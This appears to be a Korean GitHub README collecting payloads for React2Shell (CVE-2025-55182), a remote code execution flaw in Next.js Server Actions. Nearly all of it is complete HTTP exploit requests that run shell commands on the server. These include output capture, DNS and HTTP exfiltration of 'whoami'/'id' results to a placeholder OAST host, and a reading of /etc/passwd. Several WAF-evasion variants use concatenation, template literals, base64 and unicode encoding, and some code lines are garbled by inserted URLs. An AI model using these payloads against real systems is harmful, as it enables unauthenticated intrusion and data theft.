REACT2SHELL (CVE-2025-55182)

React2Shell(CVE-2025-55182)는 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미치는 심각한 원격 코드 실행(RCE) 취약점 체인입니다. 이 취약점은 프로토타입 오염 취약점과 Server Actions를 결합하여 서버에서 인증 없이 임의 코드 실행을 달성합니다.

이 저장소는 React2Shell 페이로드 및 우회 방법을 공유하는 데 전념합니다. PR/기여는 언제나 환영합니다!

PoC

리소스

아래는 유용할 수 있는 추가 리소스입니다:

Assetnote의 React2Shell 스캐너: https://github.com/assetnote/react2shell-scanner
ProjectDiscovery의 Nuclei 템플릿: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

페이로드

원본 개념 증명

모든 크레딧은 최초 개념 증명 공개를 한 @maple3142에게 있으며, 이 GitHub Gist에서 확인할 수 있습니다:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

오류 메시지(digest 필드)를 통한 출력 포함 전체 RCE

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

외부 DNS 쿼리 트리거

<OAST_SERVER>를 자신의 OAST 서버 호스트명으로 바꾸세요.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS 유출

<OAST_SERVER>를 자신의 OAST 서버 호스트명으로 바꾸세요.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP 유출

<OAST_SERVER>를 자신의 OAST 서버 호스트명으로 바꾸세요.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

시간 지연 트리거

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

문자열 연결 및 인코딩을 통한 WAF 우회

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

유니코드 이스케이프 및 템플릿 리터럴을 통한 WAF 우회

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

Base64 인코딩 페이로드를 통한 WAF 우회

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

전체 유니코드 인코딩을 통한 WAF 우회

크레딧은 @pyn3rd에게 있습니다.

POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--

krle

인기

REACT2SHELL (CVE-2025-55182)

리소스

페이로드

원본 개념 증명

오류 메시지(digest 필드)를 통한 출력 포함 전체 RCE

외부 DNS 쿼리 트리거

DNS 유출

HTTP 유출

시간 지연 트리거

문자열 연결 및 인코딩을 통한 WAF 우회

유니코드 이스케이프 및 템플릿 리터럴을 통한 WAF 우회

Base64 인코딩 페이로드를 통한 WAF 우회

전체 유니코드 인코딩을 통한 WAF 우회